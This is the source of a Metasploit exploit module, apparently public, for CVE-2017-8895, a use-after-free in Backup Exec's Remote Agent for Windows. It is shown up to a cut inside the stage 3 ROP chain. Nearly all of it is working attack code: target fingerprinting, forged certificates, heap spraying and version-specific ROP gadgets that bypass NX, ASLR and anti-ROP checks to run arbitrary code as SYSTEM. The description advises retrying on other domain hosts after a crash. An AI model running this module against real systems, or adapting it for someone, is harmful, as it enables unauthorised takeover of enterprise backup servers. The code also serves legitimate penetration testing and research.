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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
require 'openssl'
8
require 'xdr'
9

10
class MetasploitModule < Msf::Exploit::Remote
11
  Rank = NormalRanking
12

13
  include Msf::Exploit::Remote::Tcp
14
  include Msf::Exploit::Remote::NDMPSocket
15

16
  def initialize(info={})
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    super(update_info(info,
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      'Name'           => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
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      'Description'    => %q{
20
        This module exploits a use-after-free vulnerability in the handling of SSL NDMP
21
        connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
22
        is re-established on a NDMP connection that previously has had SSL established,
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        the BIO struct for the connection's previous SSL session is reused, even though it
24
        has previously been freed.
25

26
        This module supports 3 specific versions of the Backup Exec agent in the 14, 15
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        and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
28
        Vista to Windows 10. The check command can help narrow down what major and minor
29
        revision is installed and the precise of version of Windows, but some other
30
        information may be required to make a reliable choice of target.
31

32
        NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
33
        reliability of around 85%. On other versions of Windows, reliability is around 35%
34
        (due to the need to win a race condition across the network in this case; this may
35
        drop further depending on network conditions). The agent is normally installed on
36
        all hosts in a domain that need to be backed up, so if one service crashes, try
37
        again on another :) Successful exploitation will give remote code execution as the
38
        user of the Backup Exec Remote Agent for Windows service, almost always
39
        NT AUTHORITY\SYSTEM.
40
      },
41
      'License'        => MSF_LICENSE,
42
      'Author'         => [ 'Matthew Daley' ],
43
      'References'     =>
44
        [
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          [ 'CVE', '2017-8895' ],
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          [ 'VTS', '17-006' ],
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          [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
48
        ],
49
      'Platform'       => 'win',
50
      'Stance'         => Msf::Exploit::Stance::Aggressive,
51
      'Payload'        =>
52
        {
53
          'DisableNops' => true
54
        },
55
      'Targets'        =>
56
        [
57
          [
58
            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
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            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
60
          ],
61
          [
62
            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
63
            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
64
          ],
65
          [
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            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
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            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
68
          ],
69
          [
70
            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
71
            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
72
          ],
73
          [
74
            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
75
            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
76
          ],
77
          [
78
            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
79
            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
80
          ],
81
          [
82
            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
83
            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
84
          ],
85
          [
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            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
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            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
88
          ],
89
          [
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            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
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            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
92
          ],
93
          [
94
            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
95
            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
96
          ],
97
          [
98
            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
99
            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
100
          ],
101
          [
102
            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
103
            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
104
          ]
105
        ],
106
      'DefaultOptions' =>
107
        {
108
          'RPORT'              => 10000,
109
          'NumTriggerAttempts' => 50,
110
          'EXITFUNC'           => 'thread'
111
        },
112
      'Privileged'     => true,
113
      'DisclosureDate' => '2017-05-10',
114
      'DefaultTarget'  => 8))
115

116
    register_options([
117
      OptInt.new('NumSpraySockets',    [ false, 'Number of sockets to spray stage 1 with' ]),
118
      OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
119
      OptInt.new('NumTriggerAttempts', [ true,  'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
120
    ])
121
  end
122

123
  def check
124
    s = NDMP::Socket.new(connect)
125
    return CheckCode::Unknown unless connect_ndmp(s, 2)
126

127
    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
128
    return CheckCode::Unknown unless resp
129
    info = HostInfoResponse.from_xdr(resp.body)
130
    print_line('Hostname: ' + info.hostname)
131
    print_line('OS type: ' + info.os_type)
132
    print_line('OS version: ' + info.os_version)
133
    print_line('Host ID: ' + info.host_id)
134

135
    disconnect
136
    s = NDMP::Socket.new(connect)
137
    return CheckCode::Unknown unless connect_ndmp(s, 3)
138

139
    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))
140
    return CheckCode::Unknown unless resp
141
    info = ServiceInfoResponse.from_xdr(resp.body)
142
    print_line('Vendor: ' + info.vendor_name)
143
    print_line('Product: ' + info.product_name)
144
    print_line('Revision: ' + info.revision_number)
145

146
    ver = info.revision_number.split('.')
147
    if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)
148
      CheckCode::Appears
149
    else
150
      CheckCode::Detected
151
    end
152
  end
153

154
  def exploit
155
    print_status('Connecting sockets...')
156

157
    # Connect a differing amount of sockets for stage 1 spraying depending on the target
158
    spray_socks = connect_additional_sockets(
159
      datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),
160
      target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3
161
    )
162

163
    # Likewise, connect a differing amount of sockets for TLS extension spraying depending
164
    # on the target
165
    num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (
166
      case target.opts['Version']
167
      when 14
168
        0
169
      when 15
170
        target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100
171
      when 16
172
        target.opts['Arch'] == ARCH_X64 ? 100 : 0
173
      end
174
    )
175
    tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
176

177
    s = NDMP::Socket.new(connect)
178
    unless connect_ndmp(s, 3)
179
      fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
180
    end
181

182
    ca_cert, ca_key = generate_ca_cert_and_key
183
    ca_cert_id = get_cert_id(ca_cert)
184
    print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
185

186
    print_status('Getting and handling a certificate signing request...')
187
    agent_cert = handle_a_csr(s, ca_cert, ca_key)
188
    fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
189
    print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
190

191
    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
192
      # For certain target types, put the stage 1 spray sockets into SSL mode. We can use
193
      # the newly made CA certificate and key as our client side certificate
194
      ssl_context = OpenSSL::SSL::SSLContext.new
195
      ssl_context.cert = ca_cert
196
      ssl_context.key = ca_key
197
      print_status('Entering spray sockets into SSL mode...')
198
      (1..2).each do |phase|
199
        spray_socks.each do |ss|
200
          require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
201
          require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
202
          ss.wrap_with_ssl(ssl_context) if phase == 2
203
        end
204
      end
205
    end
206

207
    print_status('Testing certificate...')
208
    require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)
209

210
    # For some targets, split the spraying of TLS extensions around entering SSL on the
211
    # main socket
212
    tls_cutoff = tls_spray_socks.length
213
    if target.opts['Win8Upwards']
214
      if target.opts['Arch'] == ARCH_X86
215
        tls_cutoff /= 2
216
      end
217
    else
218
      tls_cutoff /= 10
219
    end
220
    spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)
221

222
    print_status('Entering SSL mode on main socket...')
223
    require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
224

225
    spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)
226

227
    # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other
228
    # stages are contained in the SSL socket buffer at the time of the UAF. The record
229
    # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the
230
    # record (depending on the amount of trigger attempts required; see attempt_triggers)
231
    print_status('Sending stages 2 to 4...')
232
    if target.opts['Arch'] == ARCH_X64
233
      if target.opts['Version'] == 14
234
        # x64, version 14. Use a TLS handshake record
235
        #
236
        #   Windows 8+:
237
        #     Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8
238
        #          0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
239
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
240
        #      0 | 16 | 03 | 01 | length  | FILLER
241
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
242
        #     10                                                                  | ret 3
243
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
244
        #     20                          | ret                                   | FILLER       |
245
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
246
        #     30 | retsled (0x10 aligned length)...                                              |
247
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
248
        #     .. | stages 2-4...
249
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
250
        #
251
        #   Otherwise:
252
        #     Stage 1 jumps to 0x18
253
        #          0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
254
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
255
        #      0 | 16 | 03 | 01 | length  | FILLER
256
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
257
        #     10                                         | ret                                   |
258
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
259
        #     20 | stages 2-4...
260
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
261

262
        ret = [0xbe6c897].pack('Q<')
263
        if target.opts['Win8Upwards']
264
          ret_3 = [0xbe2829b].pack('Q<')
265
          payload = rand_text(24) + ret_3 + ret + rand_text(3) +
266
                    ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max
267
        else
268
          payload = rand_text(19) + ret
269
        end
270
        payload << generate_stages_2_to_4
271

272
        stage_tls = generate_tls_handshake_record(payload)
273
      else
274
        # x64, version 15/16. Use a SSLv2 hqndshake record
275
        #   Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8
276
        #   Otherwise: Stage 1 jumps to 0x18
277
        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
278
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
279
        #    0 | length  | 01 | 03 | FILLER
280
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
281
        #   10                                         | pop x3; ret                           |
282
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
283
        #   20 | FILLER       | ret 5                                 | ret
284
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
285
        #   30                | FILLER                 | retsled (0x8 aligned length)...       |
286
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
287
        #   40 | stages 2 - 4...
288
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
289

290
        pop_x3 = [0xbe1d920].pack('Q<')
291
        ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')
292
        ret = [0xbe6c897].pack('Q<')
293
        payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +
294
                  ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +
295
                  generate_stages_2_to_4
296

297
        stage_tls = generate_tls_in_sslv2_clienthello(payload)
298
      end
299
    else
300
      if target.opts['Version'] == 14
301
        # x86, version 14. Use a TLS handshake record
302
        #   Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4
303
        #   Otherwise: Stage 1 jumps to 0x4
304
        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
305
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
306
        #    0 | 16 | 03 | 01 | ln | pop x3; ret       | FL | ret 3             | ret
307
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
308
        #   10      | FILLER       | retsled...        | stages 2 to 4...
309
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
310

311
        pop_x3 = [0x6311f901].pack('L<')
312
        ret_3 = [0x6312164a].pack('L<')
313
        ret = [0x63101514].pack('L<')
314
        payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +
315
                   ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)
316

317
        stage_tls = generate_tls_handshake_record(payload, pop_x3[0])
318
      else
319
        # x86, version 15/16. Use a SSLv2 hqndshake record
320
        #   Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4
321
        #   Otherwise: Stage 1 jumps to 0x4
322
        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
323
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
324
        #    0 | length  | 01 | 03 | add esp, 0xc; ret | FILLER                           | inc esp; ret
325
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
326
        #   10                | FL | retsled...        | stages 2 to 4...
327
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
328

329
        add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')
330
        inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')
331
        ret = [0x63101564].pack('L<')
332
        payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +
333
                  ret * [0, datastore['NumTriggerAttempts'] - 3].max +
334
                  generate_stages_2_to_4
335

336
        stage_tls = generate_tls_in_sslv2_clienthello(payload)
337
      end
338
    end
339
    s.raw_sendall(stage_tls, 0)
340
    if target.opts['Version'] == 14
341
      resp = s.raw_recv(5)
342
      fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
343
      s.raw_recv(resp[3...5].unpack('n')[0])
344
    end
345

346
    print_status('Closing TLS spray sockets...')
347
    tls_spray_socks.reverse! unless target.opts['Win8Upwards']
348
    tls_spray_socks.each do |ts|
349
      ts.close
350
      sleep(0.1)
351
    end
352
    sleep(1)
353

354
    # Spray stage 1 in the string payloads of selected NDMP packet types
355
    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64
356
      spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])
357
      spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR
358
    else
359
      spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2
360
      spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH
361
    end
362
    spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)
363

364
    # We need to be able to detect as soon as a connection is made to the payload in order
365
    # to stop spraying/trigger attempts ASAP
366
    @payload_connected = false
367
    if payload_instance.respond_to?(:handle_connection)
368
      old_handle_connect = payload_instance.method(:handle_connection)
369
      payload_instance.define_singleton_method(:handle_connection) do |*args|
370
        @payload_connected = true
371
        old_handle_connect.call(*args)
372
      end
373
    end
374

375
    if target.opts['Win8Upwards']
376
      # After this SSL request, the BIO struct is freed but still referred to in the new
377
      # SSL context
378
      print_status('Re-entering SSL mode on main socket...')
379
      require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
380

381
      # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF
382
      attempt_triggers(s, spray_socks, spray_msg)
383
    else
384
      # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race
385
      attempt_race(s, spray_socks, spray_msg, ca_cert_id)
386
    end
387

388
    handler
389
  end
390

391
  private
392

393
  SSL_HANDSHAKE_REQUEST = 0xf383
394

395
  class SSLRequest < XDR::Struct
396
    class Opcode < XDR::Enum
397
      member :test_cert, 1
398
      member :get_csr_req, 2
399
      member :give_signed_cert, 3
400
      member :start_ssl, 4
401
      seal
402
    end
403

404
    attribute :opcode,            Opcode
405
    attribute :media_server_name, XDR::String[]
406
    attribute :media_server_fqdn, XDR::String[]
407
    attribute :media_server_addr, XDR::String[]
408
    attribute :cert_id_1,         XDR::Int
409
    attribute :cert_id_2,         XDR::Int
410
    attribute :unknown1,          XDR::Int
411
    attribute :unknown2,          XDR::Int
412
    attribute :unknown3,          XDR::Int
413
    attribute :ca_cert,           XDR::String[]
414
    attribute :unknown4,          XDR::Int
415
    attribute :agent_cert,        XDR::String[]
416

417
    def self.new_for_opcode(opcode)
418
      new(
419
        :opcode            => opcode,
420
        :media_server_name => 'foo',
421
        :media_server_fqdn => 'foo',
422
        :media_server_addr => 'foo',
423
        :cert_id_1         => 0,
424
        :cert_id_2         => 0,
425
        :unknown1          => 0,
426
        :unknown2          => 0,
427
        :unknown3          => 0,
428
        :ca_cert           => '',
429
        :unknown4          => 0,
430
        :agent_cert        => ''
431
      )
432
    end
433
  end
434

435
  class SSLResponse < XDR::Struct
436
    attribute :unknown1, XDR::Int
437
    attribute :unknown2, XDR::String[]
438
    attribute :unknown3, XDR::Int
439
    attribute :unknown4, XDR::String[]
440

441
    def empty?
442
      (attributes[:unknown1].zero? && attributes[:unknown2].empty? &&
443
       attributes[:unknown3].zero? && attributes[:unknown4].empty?)
444
    end
445
  end
446

447
  class ServiceInfoResponse < XDR::Struct
448
    attribute :error,           XDR::Int
449
    attribute :vendor_name,     XDR::String[]
450
    attribute :product_name,    XDR::String[]
451
    attribute :revision_number, XDR::String[]
452
    attribute :auth_types,      XDR::VarArray[XDR::Int]
453
  end
454

455
  class HostInfoResponse < XDR::Struct
456
    attribute :error,      XDR::Int
457
    attribute :hostname,   XDR::String[]
458
    attribute :os_type,    XDR::String[]
459
    attribute :os_version, XDR::String[]
460
    attribute :host_id,    XDR::String[]
461
    attribute :unknown,    XDR::VarArray[XDR::Int]
462
  end
463

464
  #
465
  # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
466
  #
467
  def connect_ndmp(s, version, phase=nil)
468
    if phase.nil? || phase == 1
469
      return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
470
    end
471

472
    if phase.nil? || phase == 2
473
      return false unless s.prepare_and_write_ndmp_msg(
474
        NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
475
      )
476
    end
477

478
    if phase.nil? || phase == 3
479
      msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
480
      return false unless msg
481
      fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
482
    end
483

484
    true
485
  end
486

487
  #
488
  # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
489
  #
490
  def connect_additional_sockets(num_socks, version)
491
    socks = (0...num_socks).map do
492
      NDMP::Socket.new(connect(false))
493
    end
494

495
    (1..3).each do |phase|
496
      socks.each do |ss|
497
        unless connect_ndmp(ss, version, phase)
498
          fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
499
        end
500
      end
501
    end
502

503
    socks
504
  end
505

506
  #
507
  # Send a Backup Exec-specific SSL NDMP request and receive the response.
508
  #
509
  def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)
510
    if phase.nil? || phase == 1
511
      req = SSLRequest.new_for_opcode(opcode)
512
      req.cert_id_1 = req.cert_id_2 = ca_cert_id
513
      msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)
514

515
      if block_given?
516
        last = s.prepare_and_write_ndmp_msg(msg, true)
517
        return nil unless last
518
        sleep(1)
519
        yield true
520
        s.raw_sendall(last, 0)
521
        yield false
522
      else
523
        return nil unless s.prepare_and_write_ndmp_msg(msg)
524
      end
525
    end
526

527
    if phase.nil? || phase == 2
528
      msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
529
      return msg ? SSLResponse.from_xdr(msg.body) : nil
530
    end
531

532
    nil
533
  end
534

535
  #
536
  # Send a Backup Exec SSL NDMP request and receive the response, requiring the response
537
  # to be empty.
538
  #
539
  def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
540
    resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
541
    if phase.nil? || phase == 2
542
      fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
543
      fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
544
    end
545
  end
546

547
  #
548
  # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
549
  # of the SHA-1 of the issuer and the raw serial number.
550
  #
551
  def get_cert_id(cert)
552
    Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
553
  end
554

555
  #
556
  # Create a self-signed CA certificate and matching key.
557
  #
558
  def generate_ca_cert_and_key(key_len=2048)
559
    ca_key = OpenSSL::PKey::RSA.new(key_len)
560

561
    ca_cert = OpenSSL::X509::Certificate.new
562
    ca_cert.version    = 3
563
    ca_cert.serial     = 1
564
    ca_cert.subject    = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
565
    ca_cert.not_before = Time.now - 60 * 60 * 24
566
    ca_cert.not_after  = Time.now + 60 * 60 * 24 * 365
567
    ca_cert.public_key = ca_key.public_key
568

569
    extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
570
    ca_cert.extensions = [
571
      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
572
      extn_factory.create_extension('basicConstraints', 'critical,CA:true')
573
    ]
574
    # Have to do this after creating subjectKeyIdentifier extension
575
    ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
576

577
    ca_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))
578

579
    [ca_cert, ca_key]
580
  end
581

582
  #
583
  # Get and handle a certificate signing request from Backup Exec with the given CA
584
  # certificate and key.
585
  #
586
  def handle_a_csr(s, ca_cert, ca_key)
587
    resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
588
    return nil if resp.nil?
589
    request = OpenSSL::X509::Request.new(resp.unknown2)
590

591
    agent_cert = OpenSSL::X509::Certificate.new
592
    agent_cert.version    = 3
593
    agent_cert.serial     = 2
594
    agent_cert.subject    = request.subject
595
    agent_cert.issuer     = ca_cert.subject
596
    agent_cert.not_before = Time.now - 60 * 60 * 24
597
    agent_cert.not_after  = Time.now + 60 * 60 * 24 * 365
598
    agent_cert.public_key = request.public_key
599

600
    extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
601
    agent_cert.extensions = [
602
      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
603
      extn_factory.create_extension('basicConstraints', 'critical,CA:false')
604
    ]
605
    # Have to do this after creating subjectKeyIdentifier extension
606
    agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
607

608
    agent_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))
609

610
    req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
611
    req.ca_cert = ca_cert.to_s
612
    req.agent_cert = agent_cert.to_s
613
    return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))
614

615
    agent_cert
616
  end
617

618
  #
619
  # Generate a TLS handshake record with the given payload.
620
  #
621
  def generate_tls_handshake_record(payload, required_fifth_byte=nil)
622
    fail_with(Failure::Unknown, 'No payload') if payload.empty?
623

624
    # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
625
    # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
626
    # the header, which is the second byte of the length word
627
    unless required_fifth_byte.nil?
628
      payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
629
    end
630
    "\x16\x03\x01" + [payload.length].pack('n') + payload
631
  end
632

633
  #
634
  # Generate a TLS ClientHello record with the given Random and extensions (ie. for
635
  # holding stages 2-4).
636
  #
637
  def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
638
    if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
639
      fail_with(Failure::Unknown, 'No TLS extension payloads given')
640
    end
641
    if ec_formats_extn_payload.length > 0xff
642
      fail_with(Failure::Unknown, 'Bad EC formats extension length')
643
    end
644
    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645
      fail_with(Failure::Unknown, 'Bad curves extension length')
646
    end
647
    if random.length != 0x20
648
      fail_with(Failure::Unknown, 'Bad random length')
649
    end
650

651
    extns = ''
652
    unless curves_extn_payload.empty?
653
      extns << [
654
        10,
655
        curves_extn_payload.length + 2,
656
        curves_extn_payload.length
657
      ].pack('n*') + curves_extn_payload
658
    end
659
    unless ec_formats_extn_payload.empty?
660
      extns << [
661
        11,
662
        ec_formats_extn_payload.length + 1,
663
        ec_formats_extn_payload.length
664
      ].pack('nnC') + ec_formats_extn_payload
665
    end
666

667
    r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
668
    r << [extns.length].pack('n') + extns
669

670
    r = "\x01" + [r.length].pack('N')[1...4] + r
671

672
    generate_tls_handshake_record(r)
673
  end
674

675
  #
676
  # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
677
  #
678
  def generate_tls_in_sslv2_clienthello(payload)
679
    fail_with(Failure::Unknown, 'No payload') if payload.empty?
680
    fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
681

682
    r = "\x01\x03" + payload
683
    [r.length | 0x8000].pack('n') + r
684
  end
685

686
  #
687
  # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
688
  #
689
  def spray_tls_extensions(tls_spray_socks, ca_cert_id)
690
    payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
691
    spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))
692

693
    print_status('Spraying TLS extensions...')
694
    (1..2).each do |phase|
695
      tls_spray_socks.each do |ts|
696
        require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
697
        require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
698

699
        if phase == 2
700
          ts.raw_sendall(spray, 0)
701
          sleep(0.1)
702
        end
703
      end
704
    end
705
    sleep(1)
706
  end
707

708
  #
709
  # Generate stage 1.
710
  #
711
  # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
712
  # location (to prevent Backup Exec from falling over or failing) and a stack pivot to
713
  # some offset from the current SSL socket buffer read location, which will hold a
714
  # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
715
  # offset will be different at each UAF trigger attempt; see attempt_triggers).
716
  #
717
  def generate_stage_1
718
    if target.opts['Arch'] == ARCH_X64
719
      stage_1 = [
720
        # +0x18 from here is a non-zero, readable location. This is the load address of
721
        # becrypto.dll (which is non-ASLR)
722
        0xbe00000,
723
        # On x64, we pivot into the current SSL socket buffer read location + 0x18
724
        # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
725
        [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
726
      ].pack('Q<*')
727
    else
728
      stage_1 = [
729
        # +0x18 from here is a non-zero, readable location. This is the load address of
730
        # becrypto.dll (which is non-ASLR)
731
        0x63100000,
732
        # On x86, we pivot into the current SSL socket buffer read location + 0x4
733
        # mov esp, ebp; pop ebp; ret
734
        target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
735
      ].pack('L<*')
736
    end
737
    stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
738
  end
739

740
  #
741
  # Generate stages 2 to 4.
742
  #
743
  # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
744
  # to) onto the stack, bypassing Windows 8+'s check before certain functions (like
745
  # VirtualProtect) that we have called them from within expected stack memory instead of
746
  # the heap.
747
  #
748
  # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
749
  # (but we only really need stage 4 executable anyway).
750
  #
751
  # Stage 4 is the user-selected Metasploit payload code.
752
  #
753
  def generate_stages_2_to_4
754
    stage_4 = payload.encoded
755

756
    if target.opts['Arch'] == ARCH_X64
757
      if target.opts['Version'] == 14
758
        stage_3 = [
759
          0,         # skipped by stage 2
760
          0xbe31359, # push rax; pop rsi; ret
761
          0xbe01f72, # pop rax; ret
762
          0,
763
          0xbe3d250, # add rax, rcx; ret
764
